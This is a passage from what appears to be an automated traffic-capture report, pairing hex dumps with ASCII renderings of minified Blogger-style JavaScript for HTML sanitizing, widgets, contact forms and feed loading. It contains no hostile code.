Data Ascii: ing(4,b.length-1),d=0;2>d;d++){var e="\"'".charAt(d);if(b.charAt(0)==e&&b.charAt(b.length-1)==e){b=b.substri
ng(1,b.length-1);break a}}a=c?(a=c(b,a))&&Hd(a)!=ra?'url("'+Hd(a).replace(ul,wl)+'")':null:null}return a}if(0<b.indexOf("("))
{if(/"|'/.test(b))retu

2021-11-25 17:33:42 UTC 272 IN Data Raw: 6a 62 2c 5b 62 2c 63 5d 29 7d 63 61 74 63 68 28 64 29 7b 69 66 28 2d 31 3d 3d 64 2e 6d 65 73 73 61 67 65 2e 
69 6e 64 65 78 4f 66 28 22 41 20 73 65 63 75 72 69 74 79 20 70 72 6f 62 6c 65 6d 20 6f 63 63 75 72 72 65 64 22 29 29 74 
68 72 6f 77 20 64 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 54 6c 28 61 29 7b 72 65 74 75 72 6e 20 50 6c 28 4b 6c 2c 61 2c 6d 
62 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 43 53 53 53 74 79 
6c 65 44 65 63 6c 61 72 61 74 69 6f 6e 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 55 6c 28 61 29 7b 72 65 74 75 72 6e 20 50 6c 
28 4c 6c 2c 61 2c 22 73 68 65 65 74 22 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 20 69 6e 73 74 61 
6e 63 65 6f 66 20 43 53 53 53 74 79 6c 65 53 68 65 65 74 
Data Ascii: jb,[b,c])}catch(d){if(-1==d.message.indexOf("A security problem occurred"))throw d;}}function Tl(a){return P
l(Kl,a,mb,function(b){return b instanceof CSSStyleDeclaration})}function Ul(a){return Pl(Ll,a,"sheet",function(b){return b 
instanceof CSSStyleSheet
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2021-11-25 17:33:42 UTC 274 IN Data Raw: 20 6e 6f 74 20 61 6c 6c 6f 77 20 27 3c 27 2c 20 67 6f 74 3a 20 22 2b 66 29 3b 76 61 72 20 68 3d 66 2e 72 65 
70 6c 61 63 65 28 2f 28 27 7c 22 29 28 28 3f 21 5c 31 29 5b 5e 5c 72 5c 6e 5c 66 5c 5c 5d 7c 5c 5c 5b 5c 73 5c 53 5d 29 
2a 5c 31 2f 67 2c 22 22 29 3b 69 66 28 21 2f 5e 5b 2d 5f 61 2d 7a 41 2d 5a 30 2d 39 23 2e 3a 2a 20 2c 3e 2b 7e 5b 5c 5d 
28 29 3d 5e 24 7c 5d 2b 24 2f 2e 74 65 73 74 28 68 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 65 6c 65 63 74 6f 72 
20 61 6c 6c 6f 77 73 20 6f 6e 6c 79 20 5b 2d 5f 61 2d 7a 41 2d 5a 30 2d 39 23 2e 3a 2a 20 2c 3e 2b 7e 5b 5c 5c 5d 28 29 
3d 5e 24 7c 5d 20 61 6e 64 20 73 74 72 69 6e 67 73 2c 20 67 6f 74 3a 20 22 2b 0a 66 29 3b 61 3a 7b 66 6f 72 28 76 61 
72 20 6b 3d 7b 22 28 22 3a 22 29 22 2c 22 5b 22 3a 22 5d 22 
Data Ascii:  not allow '<', got: "+f);var h=f.replace(/('|")((?!\1)[^\r\n\f\\]|\\[\s\S])*\1/g,"");if(!/^[-_a-zA-Z0-9#.:* ,>+~[\]()=^$|]+$/.t
est(h))throw Error("Selector allows only [-_a-zA-Z0-9#.:* ,>+~[\\]()=^$|] and strings, got: "+f);a:{for(var k={"(":")","[":"]"

2021-11-25 17:33:42 UTC 275 IN Data Raw: 6c 61 5d 29 29 2c 63 3d 58 63 28 62 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 56 63 28 55 
6c 28 67 29 2e 63 73 73 52 75 6c 65 73 29 7d 29 3b 63 3d 64 6d 28 63 29 3b 66 6f 72 28 76 61 72 20 64 3d 5b 5d 2c 65 
3d 30 3b 65 3c 63 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 64 5b 65 5d 3d 7b 69 6e 64 65 78 3a 65 2c 47 62 3a 63 5b 65 5d 
7d 3b 64 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 6b 3d 6f 6c 28 67 2e 47 62 2e 73 65 6c 
65 63 74 6f 72 54 65 78 74 29 3b 61 3a 7b 76 61 72 20 6e 3d 6f 6c 28 68 2e 47 62 2e 73 65 6c 65 63 74 6f 72 54 65 78 74 
29 3b 66 6f 72 28 76 61 72 20 75 3d 4d 61 74 68 2e 6d 69 6e 28 6b 2e 6c 65 6e 67 74 68 2c 6e 2e 6c 65 6e 67 74 68 29 2
c 77 3d 30 3b 77 3c 75 3b 77 2b 2b 29 7b 76 61 72 20 47 3d 6b 5b 
Data Ascii: la])),c=Xc(b,function(g){return Vc(Ul(g).cssRules)});c=dm(c);for(var d=[],e=0;e<c.length;e++)d[e]={index:e,G
b:c[e]};d.sort(function(g,h){var k=ol(g.Gb.selectorText);a:{var n=ol(h.Gb.selectorText);for(var u=Math.min(k.length,n.le
ngth),w=0;w<u;w++){var G=k[

2021-11-25 17:33:42 UTC 276 IN Data Raw: 69 73 2e 46 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 51 6c 28 45 6c 2c 61 2c 68 62 2c 
5b 74 68 69 73 2e 43 5d 29 7d 2c 74 68 69 73 29 3b 74 68 69 73 2e 46 3d 5b 5d 3b 74 68 69 73 2e 44 3d 5b 5d 7d 3b 76 
61 72 20 6e 6d 3b 28 6e 6d 3d 21 49 29 7c 7c 28 6e 6d 3d 31 30 3c 3d 4e 75 6d 62 65 72 28 62 66 29 29 3b 76 61 72 20 
6f 6d 3d 6e 6d 2c 70 6d 3d 21 49 7c 7c 6e 75 6c 6c 3d 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 
3b 66 75 6e 63 74 69 6f 6e 20 71 6d 28 29 7b 7d 3b 76 61 72 20 72 6d 3d 7b 41 50 50 4c 45 54 3a 21 30 2c 41 55 44 49 4f 
3a 21 30 2c 42 41 53 45 3a 21 30 2c 42 47 53 4f 55 4e 44 3a 21 30 2c 45 4d 42 45 44 3a 21 30 2c 46 4f 52 4d 3a 21 30 2c 
49 46 52 41 4d 45 3a 21 30 2c 49 53 49 4e 44 45 58 3a 21 30 2c 
Data Ascii: is.F.forEach(function(a){Ql(El,a,hb,[this.C])},this);this.F=[];this.D=[]};var nm;(nm=!I)||(nm=10<=Number(bf));var 
om=nm,pm=!I||null==document.documentMode;function qm(){};var rm={APPLET:!0,AUDIO:!0,BASE:!0,BGSOUND:!0,E
MBED:!0,FORM:!0,IFRAME:!0,ISINDEX:!0,

2021-11-25 17:33:42 UTC 278 IN Data Raw: 4e 47 2d 47 4c 59 50 48 22 3a 21 30 7d 3b 0a 66 75 6e 63 74 69 6f 6e 20 75 6d 28 61 29 7b 61 3d 61 7c 7c 6e 
65 77 20 76 6d 3b 77 6d 28 61 29 3b 74 68 69 73 2e 43 3d 63 64 28 61 2e 43 29 3b 74 68 69 73 2e 4b 3d 63 64 28 61 2e 
59 29 3b 74 68 69 73 2e 44 3d 63 64 28 61 2e 47 29 3b 74 68 69 73 2e 52 3d 61 2e 67 61 3b 61 2e 72 61 2e 66 6f 72 45 
61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 69 66 28 21 76 64 28 62 2c 22 64 61 74 61 2d 22 29 29 74 68 72 6f 77 20 
6e 65 77 20 4d 63 28 27 4f 6e 6c 79 20 22 64 61 74 61 2d 22 20 61 74 74 72 69 62 75 74 65 73 20 61 6c 6c 6f 77 65 64 2c 
20 67 6f 74 3a 20 25 73 2e 27 2c 5b 62 5d 29 3b 69 66 28 76 64 28 62 2c 4b 61 29 29 74 68 72 6f 77 20 6e 65 77 20 4d 63 
28 27 41 74 74 72 69 62 75 74 65 73 20 77 69 74 68 20 22 25 73 
Data Ascii: NG-GLYPH":!0};function um(a){a=a||new vm;wm(a);this.C=cd(a.C);this.K=cd(a.Y);this.D=cd(a.G);this.R
=a.ga;a.ra.forEach(function(b){if(!vd(b,"data-"))throw new Mc('Only "data-" attributes allowed, got: %s.',[b]);if(vd(b,Ka))throw 
new Mc('Attributes with "%s

2021-11-25 17:33:42 UTC 279 IN Data Raw: 6e 69 74 69 7a 65 72 2e 42 75 69 6c 64 65 72 2e 62 75 69 6c 64 28 29 20 63 61 6e 20 6f 6e 6c 79 20 62 65 20 
75 73 65 64 20 6f 6e 63 65 2e 22 29 3b 42 6d 28 61 2e 43 2c 61 2e 44 2c 22 2a 20 55 53 45 4d 41 50 22 2c 43 6d 29 3b 
76 61 72 20 62 3d 79 6d 28 61 2e 52 29 3b 5b 22 2a 20 41 43 54 49 4f 4e 22 2c 22 2a 20 43 49 54 45 22 2c 22 2a 20 48 
52 45 46 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 42 6d 28 74 68 69 73 2e 43 2c 74 68 69 73 
2e 44 2c 64 2c 62 29 7d 2c 61 29 3b 76 61 72 20 63 3d 79 6d 28 61 2e 46 29 3b 5b 22 2a 20 4c 4f 4e 47 44 45 53 43 22 2
c 22 2a 20 53 52 43 22 2c 22 4c 49 4e 4b 20 48 52 45 46 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 64 
29 7b 42 6d 28 74 68 69 73 2e 43 2c 74 68 69 73 2e 44 2c 64 2c 63 
Data Ascii: nitizer.Builder.build() can only be used once.");Bm(a.C,a.D,"* USEMAP",Cm);var b=ym(a.R);["* ACTION","* 
CITE","* HREF"].forEach(function(d){Bm(this.C,this.D,d,b)},a);var c=ym(a.F);["* LONGDESC","* SRC","LINK HREF"].for
Each(function(d){Bm(this.C,this.D,d,c

2021-11-25 17:33:42 UTC 280 IN Data Raw: 6f 53 74 72 69 6e 67 28 33 36 29 2b 4d 61 74 68 2e 61 62 73 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 32 31 34 37 
34 38 33 36 34 38 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 5e 44 61 74 65 2e 6e 6f 77 28 29 29 2e 74 6f 53 74 72 69 
6e 67 28 33 36 29 29 3a 74 68 69 73 2e 4a 3b 69 66 28 6f 6d 29 7b 62 3d 61 3b 69 66 28 6f 6d 29 7b 61 3d 78 66 28 64 6f 
63 75 6d 65 6e 74 2c 6b 61 29 3b 74 68 69 73 2e 46 26 26 22 2a 22 3d 3d 74 68 69 73 2e 4a 26 26 28 61 2e 69 64 3d 74 
68 69 73 2e 46 29 3b 74 68 69 73 2e 4e 26 26 28 62 3d 67 6d 28 22 3c 64 69 76 3e 22 2b 62 2b 22 3c 2f 64 69 76 3e 22 
29 2c 69 6d 28 62 29 2c 62 3d 62 2e 69 6e 6e 65 72 48 54 4d 4c 29 3b 62 3d 42 65 28 6c 64 28 69 61 29 2c 62 29 3b 76 6
1 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 
Data Ascii: oString(36)+Math.abs(Math.floor(2147483648*Math.random())^Date.now()).toString(36)):this.J;if(om){b=a;if(om)
{a=xf(document,ka);this.F&&"*"==this.J&&(a.id=this.F);this.N&&(b=gm("<div>"+b+"</div>"),im(b),b=b.innerHTML);b
=Be(ld(ia),b);var c=document.createEl

2021-11-25 17:33:42 UTC 281 IN Data Raw: 63 2e 73 65 74 28 64 2c 65 29 2c 64 3d 58 6c 28 64 29 2c 66 3d 21 31 2c 64 29 67 3d 57 6c 28 64 29 2c 68 3d 
56 6c 28 64 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6b 3d 58 6c 28 64 29 2c 31 31 21 3d 67 7c 7c 6b 3f 22 62 6f 
64 79 22 3d 3d 0a 68 26 26 6b 26 26 28 67 3d 58 6c 28 6b 29 29 26 26 21 58 6c 28 67 29 26 26 28 66 3d 21 30 29 3a 66 
3d 21 30 2c 67 3d 6e 75 6c 6c 2c 66 7c 7c 21 64 3f 67 3d 61 3a 31 3d 3d 57 6c 28 64 29 26 26 28 67 3d 63 2e 67 65 74 28 
64 29 29 2c 67 2e 63 6f 6e 74 65 6e 74 26 26 28 67 3d 67 2e 63 6f 6e 74 65 6e 74 29 2c 67 2e 61 70 70 65 6e 64 43 68 69 
6c 64 28 65 29 7d 65 6c 73 65 20 7a 66 28 64 29 7d 63 2e 63 6c 65 61 72 26 26 63 2e 63 6c 65 61 72 28 29 7d 65 6c 73 
65 20 61 3d 78 66 28 64 6f 63 75 6d 65 6e 74 2c 6b 61 29 3b 30 
Data Ascii: c.set(d,e),d=Xl(d),f=!1,d)g=Wl(d),h=Vl(d).toLowerCase(),k=Xl(d),11!=g||k?"body"==h&&k&&(g=Xl(k))&&!Xl(g)&&
(f=!0):f=!0,g=null,f||!d?g=a:1==Wl(d)&&(g=c.get(d)),g.content&&(g=g.content),g.appendChild(e)}else zf(d)}c.clear&&c.clear(
)}else a=xf(document,ka);0

2021-11-25 17:33:42 UTC 283 IN Data Raw: 28 77 21 3d 6e 26 26 28 75 3d 6e 29 2c 6e 3d 77 2c 21 63 6c 28 6e 29 26 26 28 77 3d 53 6b 28 59 6b 2e 70 61 
72 73 65 28 6e 2c 21 31 29 29 29 29 77 3d 28 6e 65 77 20 75 6b 29 2e 70 61 72 73 65 28 77 29 2c 77 3d 6e 65 77 20 59 
28 77 29 2c 44 3d 28 44 3d 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 29 2c 51 3d 77 2e 44 2e 43 2c 44 21 3d 54 28 51 2c 34 
29 26 26 55 28 51 2c 34 2c 44 29 2c 44 3d 28 44 3d 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 29 2c 51 3d 77 2e 44 2e 43 2c 
44 21 3d 54 28 51 2c 36 29 26 26 55 28 
Data Ascii: (w!=n&&(u=n),n=w,!cl(n)&&(w=Sk(Yk.parse(n,!1))))w=(new uk).parse(w),w=new Y(w),D=(D=void 0,void 0)
,Q=w.D.C,D!=T(Q,4)&&U(Q,4,D),D=(D=void 0,void 0),Q=w.D.C,D!=T(Q,6)&&U(
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2021-11-25 17:33:42 UTC 283 IN Data Raw: 51 2c 36 2c 44 29 2c 77 3d 77 2e 71 61 28 29 2c 6e 3d 6e 65 77 20 56 6b 28 6e 2c 21 31 29 2c 44 6b 28 6e 2c 
77 29 2c 6e 3d 6e 2e 71 61 28 29 7d 65 6c 73 65 20 69 66 28 77 21 3d 6e 29 63 6f 6e 74 69 6e 75 65 3b 68 2e 70 75 73 
68 28 7b 69 6d 61 67 65 55 72 6c 3a 6e 2c 74 68 75 6d 62 6e 61 69 6c 55 72 6c 3a 75 7d 29 3b 4c 28 66 5b 6b 5d 2c 76 
61 2c 79 28 65 2e 4a 2c 65 2c 64 2c 68 2e 6c 65 6e 67 74 68 2d 31 29 29 7d 7d 30 3c 68 2e 6c 65 6e 67 74 68 26 26 28 6
5 2e 43 5b 64 5d 3d 68 2c 65 2e 46 7c 7c 28 65 2e 46 3d 4c 28 77 69 6e 64 6f 77 2c 22 6c 6f 61 64 22 2c 0a 65 2e 4b 2c 2
1 31 2c 65 29 29 29 7d 7d 74 68 69 73 2e 43 2e 64 61 74 61 2e 6d 6f 62 69 6c 65 26 26 28 74 68 69 73 2e 46 3d 6e 65 77 
20 69 6b 28 79 69 28 61 2c 22 62 6c 6f 67 2e 70 61 67 65 54 69 74 
Data Ascii: Q,6,D),w=w.qa(),n=new Vk(n,!1),Dk(n,w),n=n.qa()}else if(w!=n)continue;h.push({imageUrl:n,thumbnailUrl:u});L(
f[k],va,y(e.J,e,d,h.length-1))}}0<h.length&&(e.C[d]=h,e.F||(e.F=L(window,"load",e.K,!1,e)))}}this.C.data.mobile&&(this.F
=new ik(yi(a,"blog.pageTit

2021-11-25 17:33:42 UTC 284 IN Data Raw: 28 6b 3d 78 65 28 41 65 2c 6b 29 2c 68 66 28 67 2c 6b 29 2c 67 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 67 2e 
66 69 72 73 74 43 68 69 6c 64 29 29 3a 68 66 28 67 2c 6b 29 3b 69 66 28 31 3d 3d 67 2e 63 68 69 6c 64 4e 6f 64 65 73 
2e 6c 65 6e 67 74 68 29 65 3d 0a 67 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 67 2e 66 69 72 73 74 43 68 69 6c 64 29 3b 
65 6c 73 65 20 66 6f 72 28 65 3d 65 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 3b 67 2
e 66 69 72 73 74 43 68 69 6c 64 3b 29 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 67 2e 66 69 72 73 74 43 68 69 6c 64 29 
3b 4d 6d 28 74 68 69 73 2c 65 29 3b 68 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 66 2e 69 6e 52 65 70 6c 79 54 
6f 26 26 28 66 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 
Data Ascii: (k=xe(Ae,k),hf(g,k),g.removeChild(g.firstChild)):hf(g,k);if(1==g.childNodes.length)e=g.removeChild(g.firstCh
ild);else for(e=e.createDocumentFragment();g.firstChild;)e.appendChild(g.firstChild);Mm(this,e);h.appendChild(e);f.inRep
lyTo&&(f=document.getEleme

2021-11-25 17:33:42 UTC 285 IN Data Raw: 79 3d 75 61 29 3a 61 26 26 28 61 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 70 29 3b 61 3d 4e 28 74 68 69 
73 2e 48 2c 22 63 6f 6d 6d 65 6e 74 2d 65 64 69 74 6f 72 2d 74 6f 67 67 6c 65 2d 6c 69 6e 6b 22 29 3b 6e 75 6c 6c 21 3d 
61 26 26 28 61 2e 6f 6e 63 6c 69 63 6b 3d 74 68 69 73 2e 57 63 29 3b 28 61 3d 4a 28 22 6d 6f 62 69 6c 65 2d 73 68 61 72 
65 2d 62 75 74 74 6f 6e 22 29 29 26 26 74 68 69 73 2e 46 26 26 28 61 2e 6f 6e 63 6c 69 63 6b 3d 79 28 74 68 69 73 2e 
77 64 2c 74 68 69 73 29 29 7d 74 68 69 73 2e 4e 3d 6e 65 77 20 69 6c 3b 74 68 69 73 2e 4e 2e 69 6e 69 74 28 29 3b 4d 
6d 28 74 68 69 73 2c 74 68 69 73 2e 43 2e 43 29 3b 69 66 28 61 3d 4b 28 22 6c 6f 61 64 6d 6f 72 65 22 2c 74 68 69 73 2e 
43 2e 43 29 29 7b 61 2e 6f 6e 63 6c 69 63 6b 3d 74 68 69 73 2e 
Data Ascii: y=ua):a&&(a.style.display=p);a=N(this.H,"comment-editor-toggle-link");null!=a&&(a.onclick=this.Wc);(a=J("mob
ile-share-button"))&&this.F&&(a.onclick=y(this.wd,this))}this.N=new il;this.N.init();Mm(this,this.C.C);if(a=K("loadmore"
,this.C.C)){a.onclick=this.

2021-11-25 17:33:42 UTC 287 IN Data Raw: 3d 61 29 7b 61 3d 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6c 69 22 29 3b 66 
6f 72 28 76 61 72 20 62 3d 74 68 69 73 2e 63 62 3b 62 3c 74 68 69 73 2e 48 62 3b 62 2b 2b 29 7b 76 61 72 20 63 3d 61 
5b 62 5d 3b 63 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 63 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 3d 70 3f 
75 61 3a 70 7d 61 3d 72 69 28 74 68 69 73 2e 48 2c 22 73 68 6f 77 2d 61 6c 6c 22 29 3b 61 2e 73 74 79 6c 65 2e 64 69 7
3 70 6c 61 79 3d 61 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 3d 70 3f 22 69 6e 6c 69 6e 65 22 3a 70 3b 61 3d 72 69 
28 74 68 69 73 2e 48 2c 22 73 68 6f 77 2d 6e 22 29 3b 61 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 61 2e 73 74 79 
6c 65 2e 64 69 73 70 6c 61 79 3d 3d 70 3f 22 69 6e 6c 69 6e 65 22 3a 
Data Ascii: =a){a=a.getElementsByTagName("li");for(var b=this.cb;b<this.Hb;b++){var c=a[b];c.style.display=c.style.displ
ay==p?ua:p}a=ri(this.H,"show-all");a.style.display=a.style.display==p?"inline":p;a=ri(this.H,"show-n");a.style.display=a
.style.display==p?"inline":

2021-11-25 17:33:42 UTC 288 IN Data Raw: 46 2e 63 6f 6e 74 61 63 74 46 6f 72 6d 49 6e 76 61 6c 69 64 45 6d 61 69 6c 4d 73 67 2c 4a 28 4e 28 61 2e 48 
2c 44 61 29 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2c 21 31 3b 63 3d 4a 28 4e 28 61 2e 48 2c 0a 43 61 29 29 
2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 63 7c 7c 22 22 3d 3d 45 28 63 29 3f 28 4a 28 4e 28 61 2e 48 
2c 44 61 29 29 2e 63 6c 61 73 73 4e 61 6d 65 3d 45 61 2c 4a 28 4e 28 61 2e 48 2c 44 61 29 29 2e 69 6e 6e 65 72 48 54 
4d 4c 3d 61 2e 46 2e 63 6f 6e 74 61 63 74 46 6f 72 6d 45 6d 70 74 79 4d 65 73 73 61 67 65 4d 73 67 2c 4a 28 4e 28 61 2e 
48 2c 44 61 29 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2c 21 31 29 3a 21 30 7d 0a 66 75 6e 63 74 69 6f 6e 20 5
4 6d 28 61 29 7b 4a 28 4e 28 61 2e 48 2c 47 61 29 29 2e 63 6c 61 
Data Ascii: F.contactFormInvalidEmailMsg,J(N(a.H,Da)).appendChild(b),!1;c=J(N(a.H,Ca)).value;return null==c||""==E(c)?
(J(N(a.H,Da)).className=Ea,J(N(a.H,Da)).innerHTML=a.F.contactFormEmptyMessageMsg,J(N(a.H,Da)).appendCh
ild(b),!1):!0}function Tm(a){J(N(a.H,Ga)).cla

2021-11-25 17:33:42 UTC 289 IN Data Raw: 48 2c 48 61 29 29 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 3b 4a 28 4e 28 61 2e 48 2c 47 61 29 29 2e 63 
6c 61 73 73 4e 61 6d 65 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 20 63 6f 6e 74 61 63 74 2d 66 6f 
72 6d 2d 62 75 74 74 6f 6e 2d 73 75 62 6d 69 74 22 3b 4a 28 4e 28 61 2e 48 2c 47 61 29 29 2e 72 65 6d 6f 76 65 41 74 
74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7d 2c 33 45 33 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 56 6d 28 
61 29 7b 50 2e 63 61 6c 6c 28 74 68 69 73 2c 22 45 78 61 6d 70 6c 65 22 2c 61 29 7d 76 28 56 6d 2c 50 29 3b 7a 28 22 5f
45 78 61 6d 70 6c 65 56 69 65 77 22 2c 56 6d 29 3b 66 75 6e 63 74 69 6f 6e 20 57 6d 28 61 29 7b 50 2e 63 61 6c 6c 28 7
4 68 69 73 2c 22 46 65 61 74 75 72 65 64 50 6f 73 74 22 2c 61 29 
Data Ascii: H,Ha)).textContent="";J(N(a.H,Ga)).className="contact-form-button contact-form-button-submit";J(N(
a.H,Ga)).removeAttribute("disabled")},3E3)};function Vm(a){P.call(this,"Example",a)}v(Vm,P);z("_ExampleView",V
m);function Wm(a){P.call(this,"FeaturedPost",a)

2021-11-25 17:33:42 UTC 290 IN Data Raw: 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5b 31 5d 3d 3d 3d 6d 7d 29 7d 0a 66 75 
6e 63 74 69 6f 6e 20 62 6e 28 61 29 7b 69 66 28 61 2e 4b 26 26 61 2e 46 26 26 65 6e 28 61 29 29 7b 76 61 72 20 62 3d 
61 2e 4b 2c 63 3d 66 6e 5b 62 5d 3b 63 26 26 28 78 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 63 2e 66 61 29 2c 64 65 
6c 65 74 65 20 66 6e 5b 62 5d 29 3b 61 2e 4b 3d 30 7d 61 2e 43 26 26 28 61 2e 43 2e 4c 2d 2d 2c 64 65 6c 65 74 65 20 6
1 2e 43 29 3b 62 3d 61 2e 44 3b 66 6f 72 28 76 61 72 20 64 3d 63 3d 21 31 3b 61 2e 4a 2e 6c 65 6e 67 74 68 26 26 21 61 
2e 4e 3b 29 7b 76 61 72 20 65 3d 61 2e 4a 2e 73 68 69 66 74 28 29 2c 66 3d 65 5b 30 5d 2c 67 3d 65 5b 31 5d 3b 65 3d 
65 5b 32 5d 3b 69 66 28 66 3d 61 2e 47 3f 67 3a 66 29 74 72 79 7b 76 
Data Ascii: tion(b){return typeof b[1]===m})}function bn(a){if(a.K&&a.F&&en(a)){var b=a.K,c=fn[b];c&&(x.clearTimeout(c.f
a),delete fn[b]);a.K=0}a.C&&(a.C.L--,delete a.C);b=a.D;for(var d=c=!1;a.J.length&&!a.N;){var e=a.J.shift(),f=e[0],g=e[1]
;e=e[2];if(f=a.G?g:f)try{v

2021-11-25 17:33:42 UTC 292 IN Data Raw: 64 79 53 74 61 74 65 26 26 65 2e 72 65 61 64 79 53 74 61 74 65 21 3d 41 61 7c 7c 28 6a 6e 28 65 2c 63 2e 6a 
64 7c 7c 21 31 2c 68 29 2c 67 2e 63 61 6c 6c 62 61 63 6b 28 6e 75 6c 6c 29 29 7d 3b 65 2e 6f 6e 65 72 72 6f 72 3d 66 75 
6e 63 74 69 6f 6e 28 29 7b 6a 6e 28 65 2c 21 30 2c 68 29 3b 76 61 72 20 6e 3d 6e 65 77 20 6b 6e 28 30 2c 22 45 72 72 6f 
72 20 77 68 69 6c 65 20 6c 6f 61 64 69 6e 67 20 73 63 72 69 70 74 20 22 2b 0a 64 29 3b 24 6d 28 67 29 3b 61 6e 28 67 
2c 21 31 2c 6e 29 7d 3b 66 3d 63 2e 61 74 74 72 69 62 75 74 65 73 7c 7c 7b 7d 3b 65 64 28 66 2c 7b 74 79 70 65 3a 6f 
62 2c 63 68 61 72 73 65 74 3a 22 55 54 46 2d 38 22 7d 29 3b 74 66 28 65 2c 66 29 3b 6a 66 28 65 2c 61 29 3b 6c 6e 28 6
2 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 72 65 74 75 
Data Ascii: dyState&&e.readyState!=Aa||(jn(e,c.jd||!1,h),g.callback(null))};e.onerror=function(){jn(e,!0,h);var n=new kn
(0,"Error while loading script "+d);$m(g);an(g,!1,n)};f=c.attributes||{};ed(f,{type:ob,charset:"UTF-8"});tf(e,f);jf(e,a);ln(b).app
endChild(e);retu
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2021-11-25 17:33:42 UTC 293 IN Data Raw: 75 6d 49 74 65 6d 73 53 68 6f 77 3a 61 2e 6e 75 6d 49 74 65 6d 73 53 68 6f 77 2c 73 68 6f 77 49 74 65 6d 41 
75 74 68 6f 72 3a 61 2e 73 68 6f 77 49 74 65 6d 41 75 74 68 6f 72 2c 73 68 6f 77 49 74 65 6d 44 61 74 65 3a 61 2e 73 68 
6f 77 49 74 65 6d 44 61 74 65 2c 6c 69 6e 6b 54 61 72 67 65 74 3a 61 2e 6f 70 65 6e 4c 69 6e 6b 73 49 6e 4e 65 77 57 69 
6e 64 6f 77 3f 71 61 3a 22 5f 73 65 6c 66 22 2c 75 73 65 46 65 65 64 57 69 64 67 65 74 53 65 72 76 3a 22 74 72 75 65 22 
3d 3d 3d 61 2e 75 73 65 46 65 65 64 57 69 64 67 65 74 53 65 72 76 7d 29 3b 22 74 72 75 65 22 3d 3d 3d 61 2e 75 73 65 
46 65 65 64 57 69 64 67 65 74 53 65 72 76 3f 74 68 69 73 2e 48 2e 43 61 28 22 67 65 74 46 65 65 64 22 2c 6e 75 6c 6c 
2c 6e 75 6c 6c 2c 68 61 29 3a 74 6e 28 74 68 69 73 2e 43 29 7d 
Data Ascii: umItemsShow:a.numItemsShow,showItemAuthor:a.showItemAuthor,showItemDate:a.showItemDate,l
inkTarget:a.openLinksInNewWindow?qa:"_self",useFeedWidgetServ:"true"===a.useFeedWidgetServ});"true"===a.useFee
dWidgetServ?this.H.Ca("getFeed",null,null,ha):tn(this.C)}

2021-11-25 17:33:42 UTC 294 IN Data Raw: 65 22 7d 2c 22 5c 75 30 30 61 30 2d 5c 75 30 30 61 30 22 2b 28 6e 65 77 20 44 61 74 65 28 66 2e 70 75 62 6c 
69 73 68 65 64 44 61 74 65 29 29 2e 74 6f 4c 6f 63 61 6c 65 44 61 74 65 53 74 72 69 6e 67 28 29 29 2c 0a 67 2e 61 70 70 
65 6e 64 43 68 69 6c 64 28 68 29 29 3b 61 2e 43 2e 73 68 6f 77 49 74 65 6d 41 75 74 68 6f 72 26 26 28 66 3d 76 66 28 6b 
61 2c 7b 22 63 6c 61 73 73 22 3a 22 69 74 65 6d 2d 61 75 74 68 6f 72 22 7d 2c 22 5c 75 30 30 61 30 2d 5c 75 30 30 61 
30 22 2b 66 2e 61 75 74 68 6f 72 29 2c 67 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 29 29 7d 61 2e 4a 26 26 61 2e 4a 
28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 77 6e 28 61 29 7b 7a 66 28 61 2e 44 29 3b 61 2e 44 2e 61 70 70 65 6e 64 43 68 6
9 6c 64 28 76 66 28 6b 61 2c 6e 75 6c 6c 2c 22 45 72 72 6f 72 20 
